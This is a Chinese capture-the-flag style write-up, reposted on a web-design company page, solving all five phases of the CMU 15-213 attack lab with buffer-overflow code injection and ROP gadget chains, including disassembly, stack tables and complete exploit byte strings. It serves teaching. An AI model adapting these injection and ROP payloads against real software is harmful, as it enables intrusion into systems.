1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          ?CS

          來源:互聯網轉載 時間:2024-01-29 08:29:59

          原文發布于微信公眾號 - 云服務與SRE架構師社區(ai-cloud-ops)

          前言

          CMU的15-213課程Introduction to Computer Systems (ICS)里面有一個實驗叫attack lab,利用緩沖區溢出漏洞改變正常的程序運行行為,從而達到攻擊的目的。關于這個lab的解題思路,網上已經有很多了,但我依然想要再來一篇。原因包括:

          • 十年前我曾完成了這個lab的前身bufbomb(http://dev.poetpalace.org/?p=39),這絕對是我在計算機行業中,乃至人生中最有趣以及最有成就感的體驗之一。哪怕是十年后重溫,依然如此。
          • 面對冠狀病毒的肆虐,我沒什么可做的,但是我可以研究計算機病毒。To be a good people you have to know what bad people do.

          Computer Systems: A Programmer's Perspective(CS:APP)是為了這門課專門編寫的教材,中文翻譯為《深入理解計算機系統》。想想這門課的標題,Introduction?導論?好像哪里不太對。

          Attack lab 說明

          緩沖區溢出

          所謂緩沖區溢出,是在歷史遺留的C函數庫中,存在一些函數不檢查緩沖區大小,比如下面這個函數正常只能輸入3個字符(不包括結尾的''):

          void echo(){    char buf[4]; /* Way too small! */    gets(buf);    puts(buf);}

          當用戶輸入超過3個字符時,就可能破壞程序的幀棧結構,這一點恰恰為惡意攻擊者利用。attack lab中使用了有漏洞的Gets()函數,并通過不同的編譯參數編譯了兩個二進制文件:ctarget和rtarget。

          代碼注入攻擊

          ctarget沒有啟用任何保護措施,攻擊者可以注入精心設計的二進制代碼,并修改函數返回地址來運行這段代碼,如下圖所示:

          圖片來自CMU 15-213 的 09-machine-advanced.pdf

          有幾種措施可以預防這種攻擊:

          1. 操作系統提供了Address space layout randomization (ASLR),隨機初始化stack的起始位置,因此緩沖區的具體內存地址不再是確定的。沒有這個地址就不能再跳回來執行。
          2. CPU提供了No eXecute標記,用來標記內存段是可讀、可寫,還是可執行 的。只要編譯器不給stack可執行標記,注入的代碼就無法執行。
          3. 編譯器提供了Stack Canary,在緩沖區附近的一個內存中寫入一隨機的magic number,在返回前再讀出這個magic number看看是否跟原來的一致。因為緩沖區溢出攻擊會覆蓋這段內存,其寫入的值幾乎不可能跟這個magic number相同。

          面向返回(ROP)攻擊

          rtarget啟用了ASLRNo eXecute標記,但是沒有啟用Stack Canary[1]。代碼注入攻擊對此無效,需要用到另一種叫做Return-Oriented Programming(ROP)攻擊的技術。其核心思想是,既然我不能執行自己注入的代碼,那么就從程序的TEXT斷里面需要可以利用的機器代碼片段(也叫做Gadget),利用程序棧把一系列的Gadget串起來完成攻擊,因此要求這些片段是在retq(x86的返回語句)之前。

          [1] 讀者朋友不妨思考下為什么沒有啟用Stack Canary?

          比如這個不起眼的C函數:

          unsigned addval_219(unsigned x){    return x + 2421715793U;}

          編譯后的代碼為:

          00000000004019a7 <addval_219>:  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax  4019ad:       c3                      retq

          其中0x4019ab開始的58 90 c3剛好也可以解釋為以下匯編語句。也就是把棧頂的元素傳送到%rax這個寄存器。

             0:   58                      pop    %rax   1:   90                      nop   2:   c3                      retq

          當攻擊者找到足夠的Gadget,就可以利用緩沖區溢出漏洞把這些Gadget串聯起來完成攻擊,如下圖所示:

          圖片來自CMU 15-213 的 09-machine-advanced.pdf

          lab說明

          lab分為5個Phase:

          • Phase 1 到 3 需要利用代碼注入攻擊ctarget,劫持test()的返回地址,最終調用touch1touch33個函數。
          • Phase 4 到 5 需要利用ROP攻擊rtarget,劫持test()的返回地址,重復Phase 2 和 Phase 3的動作,分別調用touch2touch3兩個函數.

          作為練習,rtarget提供了farm.c文件,里面包含很多有意構造的函數可以用來完成ROP攻擊,現實中會遠比這里困難。

          Phase 1

          Phase 1 很簡單,我們只要把test()的返回地址替換掉即可,通過反匯編和gdb單步調試,我們可以確定

          • getbuf()會在棧上分配40(0x28)個字節
          • touch1()的地址是0x4017c0
          (gdb) disas getbufDump of assembler code for function getbuf:   0x00000000004017a8 <+0>:sub    $0x28,%rsp   0x00000000004017ac <+4>:mov    %rsp,%rdi   0x00000000004017af <+7>:callq  0x401a40 <Gets>   0x00000000004017b4 <+12>:mov    $0x1,%eax   0x00000000004017b9 <+17>:add    $0x28,%rsp   0x00000000004017bd <+21>:retqEnd of assembler dump.(gdb) disas touch1Dump of assembler code for function touch1:   0x00000000004017c0 <+0>:sub    $0x8,%rsp   0x00000000004017c4 <+4>:movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>   0x00000000004017ce <+14>:mov    $0x4030c5,%edi   0x00000000004017d3 <+19>:callq  0x400cc0 <puts@plt>   0x00000000004017d8 <+24>:mov    $0x1,%edi   0x00000000004017dd <+29>:callq  0x401c8d <validate>   0x00000000004017e2 <+34>:mov    $0x0,%edi   0x00000000004017e7 <+39>:callq  0x400e40 <exit@plt>End of assembler dump.

          下面是執行到getbuf+0時的棧結構

          (gdb) x /8gx $rsp0x5561dc78:     0x0000000000000000      0x00000000000000000x5561dc88:     0x0000000000000000      0x00000000000000000x5561dc98:     0x0000000055586000      0x00000000004019760x5561dca8:     0x0000000000000002      0x0000000000401f24

          Stack layout

          于是我們可以畫出這個棧結構

          怎么解讀這個圖?

          • 這個棧結構是倒過來畫的,棧底(高位地址)在上,棧底(地位地址)在下
          • 左右也是反過來的,低位地址在左邊,高位地址在右邊。我們知道小端機器的數字不好讀,但是左右顛倒之后,這些數字的順序就符合人的習慣了。
          • 把這個表當作一個大的數組的話,起始元素在右下角,末尾元素在左上角。需要從右到左,從下到上開始讀取。
          • 其中 - 表示未初始化的內存,里面是隨機的值

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          0x5561dcc0

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          what's that?

          0x5561dcb8

          0

          0

          0

          0

          0

          0

          0

          0

          what's that?

          0x5561dcb0

          0

          0

          0

          0

          0

          0x40

          0x1f

          0x24

          0x401f24 return main()

          0x5561dca8

          0

          0

          0

          0

          0

          0

          0

          2

          test() stack

          0x5561dca0

          0

          0

          0

          0

          0

          0x40

          0x19

          0x76

          0x401976 return test()

          0x5561dc98

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          0x5561dc90

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc88

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc80

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc78

          -

          -

          -

          -

          -

          -

          -

          -

          current %rsp

          其中

          • 0x5561dc78 開始的40字節是getbuf的棧
          • 0x5561dca0 是調用者test()的返回地址
          • 0x5561dca8 是test()的棧
          • 0x5561dcb0 是main函數的返回地址
          • 0x5561dcb8 及以上的地址未使用,后面可以用來做文章。

          Solution

          Phase 1的解法很簡單,只要把0x5561dca0上面的返回地址替換成touch1的0x4017c0就好了

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          0x5561dcc0

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          what's that?

          0x5561dcb8

          0

          0

          0

          0

          0

          0

          0

          0

          what's that?

          0x5561dcb0

          0

          0

          0

          0

          0

          0x40

          0x1f

          0x24

          0x401f24 return main()

          0x5561dca8

          0

          0

          0

          0

          0

          0

          0

          2

          test() stack

          0x5561dca0

          ''

          0

          0

          0

          0

          0x40

          0x17

          0xc0

          <=== 修改這行

          0x5561dc98

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          0x5561dc90

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc88

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc80

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc78

          -

          -

          -

          -

          -

          -

          -

          -

          current %rsp

          我用0x2d(-的ascii值)表示可以隨意填充的值,那么按照正常從左到左,從上到下重新排列這個“數組”的話,需要寫入緩沖區值是這樣的:

          2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2dc0 17 40 00 00 00 00

          你會發現最后一行少了一個字節,因為Get()函數需要在最后補一個。

          # cat result1 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:ctarget:1:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D C0 17 40 00 00 00 0

          Phase 2

          Phase 2稍微復雜些,因為我們需要給%rdi傳入一個unsinged類型,具體的值在handout的cookie.txt中,這里是

          # cat cookie.txt0x59b997fa

          通過反匯編,我們可以看到touch2的地址是0x4017ec:

          (gdb) disas touch2Dump of assembler code for function touch2:   0x00000000004017ec <+0>:sub    $0x8,%rsp   0x00000000004017f0 <+4>:mov    %edi,%edx   0x00000000004017f2 <+6>:movl   $0x2,0x202ce0(%rip)        # 0x6044dc <vlevel>   0x00000000004017fc <+16>:cmp    0x202ce2(%rip),%edi        # 0x6044e4 <cookie>   0x0000000000401802 <+22>:jne    0x401824 <touch2+56>   0x0000000000401804 <+24>:mov    $0x4030e8,%esi   0x0000000000401809 <+29>:mov    $0x1,%edi   0x000000000040180e <+34>:mov    $0x0,%eax   0x0000000000401813 <+39>:callq  0x400df0 <__printf_chk@plt>   0x0000000000401818 <+44>:mov    $0x2,%edi   0x000000000040181d <+49>:callq  0x401c8d <validate>   0x0000000000401822 <+54>:jmp    0x401842 <touch2+86>   0x0000000000401824 <+56>:mov    $0x403110,%esi   0x0000000000401829 <+61>:mov    $0x1,%edi   0x000000000040182e <+66>:mov    $0x0,%eax   0x0000000000401833 <+71>:callq  0x400df0 <__printf_chk@plt>   0x0000000000401838 <+76>:mov    $0x2,%edi   0x000000000040183d <+81>:callq  0x401d4f <fail>   0x0000000000401842 <+86>:mov    $0x0,%edi   0x0000000000401847 <+91>:callq  0x400e40 <exit@plt>End of assembler dump.(gdb)

          生成注入代碼

          # cat 2.smov $0x59b997fa,%rdiret# gcc -c 2.s# objdump -d 2.o2.o:文件格式 elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi   7:   c3                      retq

          因此這里需要注入的代碼是48 c7 c7 fa 97 b9 59 c3

          Solution

          我們需要把棧結構改成這樣:

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          0x5561dcb0

          0

          0

          0

          0

          0

          0x40

          0x1f

          0x24

          0x401f24 return main()

          0x5561dca8

          ''

          0x00

          0x00

          0x00

          0x00

          0x40

          0x17

          0xec

          ret touch2()

          0x5561dca0

          0x00

          0x00

          0x00

          0x00

          055

          0x61

          0xdc

          0x78

          ret 0x5561dc78 (inect code!)

          0x5561dc98

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          0x5561dc90

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc88

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc80

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc78

          0xc3

          0x59

          0xb9

          0x97

          0xfa

          0xc7

          0xc7

          0x48

          mov $0x59b997fa,%rdi; ret

          • 0x5561dc78 是剛生成的注入代碼
          • 然后我們需要把0x5561dca0的返回地址改成注入代碼的地址0x5561dc78
          • 0x5561dca8 則改成touch2的入口0x4017ec
          # cat result2 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00

          Phase 3

          Phase 3要求調用touch3,它需要我們在內存中放入一個跟cookie相同的字符串:

          # pythonPython 2.7.14 (default, Oct 12 2017, 15:50:02) [GCC] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> s="59b997fa">>> for x in s: print ("%x" % ord(x))...3539623939376661>>>

          因此這個字符串的二進制表示是35 39 62 39 39 37 66 61。

          分析

          這里看似跟Phase 2類似,但是這里touch3里面會調用hexmatch,如果我們把注入代碼和cookie放在getbuf的棧中,cookie會被這兩個函數推到棧中的內容覆蓋,注意反匯編代碼中<=====標注的幾行都會修改棧的內容

          (gdb) disassemble touch3Dump of assembler code for function touch3:   0x00000000004018fa <+0>:push   %rbx                                                 <=====   0x00000000004018fb <+1>:mov    %rdi,%rbx   0x00000000004018fe <+4>:movl   $0x3,0x202bd4(%rip)        # 0x6044dc <vlevel>   0x0000000000401908 <+14>:mov    %rdi,%rsi   0x000000000040190b <+17>:mov    0x202bd3(%rip),%edi        # 0x6044e4 <cookie>   0x0000000000401911 <+23>:callq  0x40184c <hexmatch>                              <=====   0x0000000000401916 <+28>:test   %eax,%eax   0x0000000000401918 <+30>:je     0x40193d <touch3+67>   0x000000000040191a <+32>:mov    %rbx,%rdx   0x000000000040191d <+35>:mov    $0x403138,%esi   0x0000000000401922 <+40>:mov    $0x1,%edi   0x0000000000401927 <+45>:mov    $0x0,%eax   0x000000000040192c <+50>:callq  0x400df0 <__printf_chk@plt>   0x0000000000401931 <+55>:mov    $0x3,%edi   0x0000000000401936 <+60>:callq  0x401c8d <validate>   0x000000000040193b <+65>:jmp    0x40195e <touch3+100>   0x000000000040193d <+67>:mov    %rbx,%rdx   0x0000000000401940 <+70>:mov    $0x403160,%esi   0x0000000000401945 <+75>:mov    $0x1,%edi   0x000000000040194a <+80>:mov    $0x0,%eax   0x000000000040194f <+85>:callq  0x400df0 <__printf_chk@plt>   0x0000000000401954 <+90>:mov    $0x3,%edi   0x0000000000401959 <+95>:callq  0x401d4f <fail>   0x000000000040195e <+100>:mov    $0x0,%edi   0x0000000000401963 <+105>:callq  0x400e40 <exit@plt>End of assembler dump.(gdb) disas hexmatchDump of assembler code for function hexmatch:   0x000000000040184c <+0>:push   %r12                             # <=====   0x000000000040184e <+2>:push   %rbp                             # <=====   0x000000000040184f <+3>:push   %rbx                             # <=====   0x0000000000401850 <+4>:add    $0xffffffffffffff80,%rsp         # -128, rsp would now at 0x5561dc08   0x0000000000401854 <+8>:mov    %edi,%r12d   0x0000000000401857 <+11>:mov    %rsi,%rbp   0x000000000040185a <+14>:mov    %fs:0x28,%rax   0x0000000000401863 <+23>:mov    %rax,0x78(%rsp)              # <===== overwritten 0x5561dc80   0x0000000000401868 <+28>:xor    %eax,%eax   0x000000000040186a <+30>:callq  0x400db0 <random@plt>   0x000000000040186f <+35>:mov    %rax,%rcx   0x0000000000401872 <+38>:movabs $0xa3d70a3d70a3d70b,%rdx   0x000000000040187c <+48>:imul   %rdx   0x000000000040187f <+51>:add    %rcx,%rdx   0x0000000000401882 <+54>:sar    $0x6,%rdx   0x0000000000401886 <+58>:mov    %rcx,%rax   0x0000000000401889 <+61>:sar    $0x3f,%rax   0x000000000040188d <+65>:sub    %rax,%rdx   0x0000000000401890 <+68>:lea    (%rdx,%rdx,4),%rax   0x0000000000401894 <+72>:lea    (%rax,%rax,4),%rax   0x0000000000401898 <+76>:shl    $0x2,%rax   0x000000000040189c <+80>:sub    %rax,%rcx   0x000000000040189f <+83>:lea    (%rsp,%rcx,1),%rbx   0x00000000004018a3 <+87>:mov    %r12d,%r8d   0x00000000004018a6 <+90>:mov    $0x4030e2,%ecx   0x00000000004018ab <+95>:mov    $0xffffffffffffffff,%rdx   0x00000000004018b2 <+102>:mov    $0x1,%esi   0x00000000004018b7 <+107>:mov    %rbx,%rdi   0x00000000004018ba <+110>:mov    $0x0,%eax   0x00000000004018bf <+115>:callq  0x400e70 <__sprintf_chk@plt>   0x00000000004018c4 <+120>:mov    $0x9,%edx   0x00000000004018c9 <+125>:mov    %rbx,%rsi   0x00000000004018cc <+128>:mov    %rbp,%rdi   0x00000000004018cf <+131>:callq  0x400ca0 <strncmp@plt>   0x00000000004018d4 <+136>:test   %eax,%eax   0x00000000004018d6 <+138>:sete   %al   0x00000000004018d9 <+141>:movzbl %al,%eax   0x00000000004018dc <+144>:mov    0x78(%rsp),%rsi   0x00000000004018e1 <+149>:xor    %fs:0x28,%rsi   0x00000000004018ea <+158>:je     0x4018f1 <hexmatch+165>   0x00000000004018ec <+160>:callq  0x400ce0 <__stack_chk_fail@plt>   0x00000000004018f1 <+165>:sub    $0xffffffffffffff80,%rsp   0x00000000004018f5 <+169>:pop    %rbx   0x00000000004018f6 <+170>:pop    %rbp   0x00000000004018f7 <+171>:pop    %r12   0x00000000004018f9 <+173>:retqEnd of assembler dump.(gdb) dias strncmpUndefined command: "dias".  Try "help".(gdb) disas strncmpDump of assembler code for function strncmp@plt:   0x0000000000400ca0 <+0>:jmpq   *0x203372(%rip)        # 0x604018 <strncmp@got.plt>   0x0000000000400ca6 <+6>:pushq  $0x3   0x0000000000400cab <+11>:jmpq   0x400c60End of assembler dump.(gdb) disas 0x400ca0(gdb) disas 0x604018Dump of assembler code for function strncmp@got.plt:   0x0000000000604018 <+0>:cmpsb  %es:(%rdi),%ds:(%rsi)   0x0000000000604019 <+1>:or     $0x40,%al   0x000000000060401b <+3>:add    %al,(%rax)   0x000000000060401d <+5>:add    %al,(%rax)   0x000000000060401f <+7>:add    %dh,0x400c(%rsi)End of assembler dump.(gdb)

          Solution

          如果我們不能把cookie放在getbuf的棧中,那就只能利用最頂層的main函數返回地址之前的未使用空間了,需要的棧結構如下:

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          0x5561dcc0

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          ''

          '' by Gets()

          0x5561dcb8

          0x61

          0x66

          0x37

          0x39

          0x39

          0x62

          0x39

          0x35

          palce "59b997fa"

          0x5561dcb0

          0

          0

          0

          0

          0

          0x40

          0x1f

          0x24

          0x401f24 return main()?

          0x5561dca8

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x18

          0xfa

          ret touch3()

          0x5561dca0

          0x00

          0x00

          0x00

          0x00

          055

          0x61

          0xdc

          0x78

          ret 0x5561dc78 (stack!)

          0x5561dc98

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          0x5561dc90

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc88

          -

          -

          -

          -

          -

          -

          -

          -

          0x5561dc80

          -

          -

          -

          -

          -

          -

          -

          -

          hexmatch+23 overwrite

          0x5561dc78

          0xc3

          0x55

          0x61

          0xdc

          0x80

          0xc7

          0xc7

          0x48

          mov $0x5561dcb8,%rdi; ret

          其中

          • 0x5561dcb8 是我們要寫入的cookie的二進制表示
          • 0x5561dc78 是我們的注入代碼,把cookie的地址復制到%rdi
          • 0x5561dca0 跳轉到我們的注入代碼0x5561dc78
          • 0x5561dca8 調用touch3
          cat result3 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 B8 DC 61 55 C3 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 78 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 24 1F 40 00 00 00 00 00 35 39 62 39 39 37 66 61

          Revisit

          這里放上運行到hexmatch+23時的棧結構,來理解為什么這注入字符串要這么放。因為0x5561dca8到0x5561dc80之間的內容都會被覆蓋。

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          0x5561dcc0

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          ''

          '' by Gets()

          0x5561dcb8

          0x61

          0x66

          0x37

          0x39

          0x39

          0x62

          0x39

          0x35

          cookie "59b997fa"

          0x5561dcb0

          0

          0

          0

          0

          0

          0x40

          0x1f

          0x24

          0x401f24 return main()?

          0x5561dca8

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          touch3() push %rbx

          0x5561dca0

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0x61

          touch3+28 call hexmatch()

          0x5561dc98

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          hexmatch+0 push %r12

          0x5561dc90

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          hexmatch+2 push %rbp

          0x5561dc88

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          ?

          hexmatch+3 push %rbx

          0x5561dc80

          -

          -

          -

          -

          -

          -

          -

          -

          hexmatch+23 mov $rax,0x78(%rsp)

          0x5561dc78

          0xc3

          0x55

          0x61

          0xdc

          0x80

          0xc7

          0xc7

          0x48

          mov $0x5561dc80,%rdi; ret

          ...

          0x5561dc08

          %rsp after hexmatch+4

          Phase 4

          Phase 4需要重復Phase 2的攻擊,但是rtarget使用了兩重防護:

          • ASLR隨機棧地址
          • No eXecute標志禁用棧地址段的執行權限

          因此代碼注入攻擊不再起作用,需要使用ROP攻擊。解題思路是:

          • 我們可以在棧上放cookie的值
          • 從棧上把這個值pop到某個寄存器中
          • 最終把這個寄存器中的值傳入%rdi作為第一個參數,然后調用touch2

          經過對代碼的分析,我們找到了兩個可用的gadget

          Gadgets 1

          00000000004019a7 <addval_219>:  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax  4019ad:       c3                      retq

          其中0x4019ab開始的58 90 c3可以解釋為以下匯編語句

             0:   58                      pop    %rax   1:   90                      nop   2:   c3                      retq

          Gadgets 2

          00000000004019c3 <setval_426>:  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)  4019c9:       c3                      retq

          0x4019c5開始的48 89 c7 90 c3可以解釋為以下匯編語句

             3:   48 89 c7                mov    %rax,%rdi   6:   90                      nop   7:   c3                      retq

          Solution

          這里解法是:

          • 把Cookie的值放到棧里面
          • 通過Gadget 1把這個值pop到%rax中
          • 通過Gadget 2把%rax中的值復制到%rdi(參數1)中
          • 調用touch2

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          72

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          0xf4

          untouched

          64

          ''

          0x00

          0x00

          0x00

          0x00

          0x40

          0x17

          0xec

          ret touch2()

          56

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xc5

          Gadget2 0x4019c6

          48

          0x00

          0x00

          0x00

          0x00

          0x59

          0xb9

          0x97

          0xfa

          cookie 0x59b997fa

          40

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xab

          Gadget1 0x4019ab

          32

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          24

          -

          -

          -

          -

          -

          -

          -

          -

          16

          -

          -

          -

          -

          -

          -

          -

          -

          8

          -

          -

          -

          -

          -

          -

          -

          -

          0

          -

          -

          -

          -

          -

          -

          -

          -

          current %rsp

          注意,這里我們沒法給出棧的絕對地址,只能以相對地址表示。上圖中以buf的起始地址作為0.

          • 40 Gadget1的地址,(%rsp) -> %rax
          • 48 Cookie的值,用來pop到%rax
          • 56 Gadget2的地址,%rax -> %rdi
          • 64 touch2的地址
          cat result4 | ./hex2raw | ./rtarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:rtarget:2:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C6 19 40 00 00 00 00 00 EC 17 40 00 00 00 00

          Phase 5

          Phase 5 需要重復Phase 3,我們需要在棧上放一個字符串(cookie),并把這個字符串的地址作為參數傳遞給touch3(),這里的難點是rtarget編譯時針對緩沖區溢出攻擊做了防御:棧的起始位置是隨機的,因為無法預知字符串的地址。

          Gadgets

          先來看看我們有什么Gadgets可用,其中add_xy是直接可用的,也是解題的核心

          id

          function

          address

          hex string

          asm

          note

          G0

          addval_190

          0x401a06

          48 89 e0 c3

          mov %rsp,%rax; retq

          把%rsp的值復制到%rax

          G1

          setval_426

          0x4019c5

          48 89 c7 90 c3

          mov %rax,%rdi; nop; retq

          Phase 4的Gadage2

          G2

          addval_219

          0x4019ab

          58 90 c3

          pop %rax; nop; retq

          Phase 4的Gadage1

          G3

          getval_481

          0x4019dd

          89 c2 90 c3

          mov %eax,%edx; nop; retq

          注意這里是movl,傳送低4字節

          G4

          getval_159

          0x401a34

          89 d1 38 c9 c3

          mov %edx,%ecx; cmp %cl,%cl; retq

          注意這里是movl,傳送低4字節

          G5

          addval_189

          0x401a27

          89 ce 38 c0 c3

          mov %ecx, %esi; cmp %al,%al; retq

          注意這里是movl,傳送低4字節

          G6

          add_xy

          0x4019d6

          48 8d 04 37 c3

          lea (%rdi,%rsi,1),%rax; retq

          直接可用

          解題思路

          解題思路是使用某個固定的偏移量把字符串放到%rsp的一個相對地址,然后根據%rsp的值和偏移量計算出絕對地址。

          這可以通過調用add_xy完成,兩個參數(%rdi,%rsi)可通過下面Gadget組合獲得

          1. (參數1): %rdi
            1. (G0): movq %rsp,%rax
            2. (G1): movq %rax,%rdi
          2. (參數2): %rsi
            1. (G2): popq %rax
            2. (G3): movl %eax,%edx
            3. (G4): movl %edx,%ecx
            4. (G5): movl %ecx,%rsi

          調用(G6)add_xy計算cookie的地址,結果在%eax中。然后通過(G1)把%eax的值傳送到%rdi(參數1)中,最后調用touch3()。

          Solution

          address

          7

          6

          5

          4

          3

          2

          1

          0

          note

          128

          -

          -

          -

          -

          -

          -

          -

          ''

          '' by Gets()

          120

          0x61

          0x66

          0x37

          0x39

          0x39

          0x62

          0x39

          0x35

          cookie "59b997fa"

          112

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x18

          0xfa

          touch3(): 0x40a8fa

          104

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xc5

          G1 0x4019c6: %rax -> %rdi

          96

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xd6

          G6 0x4019d6: lea (%rdi,%rsi,1),%rax

          88

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x1a

          0x27

          G5 0x401a27: %ecx -> %esi

          80

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x1a

          0x34

          G4 0x401a34: %edx -> %ecx

          72

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xdd

          G3 0x4019dd: %eax -> %edx

          64

          0x00

          0x00

          0x00

          0x00

          0x00

          0x00

          0x00

          0x48

          偏移量 120 - 48 = 72 (0x48)

          56

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xab

          G2 0x4019ab: (%rsp) -> %rax

          48

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x19

          0xc5

          G1 0x4019c6: %rax -> %rdi 這個地址也是1.1里面保存的%rsp

          40

          0x00

          0x00

          0x00

          0x00

          0x00

          0x40

          0x1a

          0x06

          G0 0x401a06: %rsp -> %rax

          32

          -

          -

          -

          -

          -

          -

          -

          -

          getbuf() stack

          24

          -

          -

          -

          -

          -

          -

          -

          -

          16

          -

          -

          -

          -

          -

          -

          -

          -

          8

          -

          -

          -

          -

          -

          -

          -

          -

          0

          -

          -

          -

          -

          -

          -

          -

          -

          current %rsp

          圖中值得注意的幾點

          • 128 我們的cookie地址
          • 48 我們把%rsp的值復制到%rax時棧的地址
          • 64 這里保存了cookie到保存%rsp時兩者的偏移量,也就是120 - 48 = 72 (0x48)
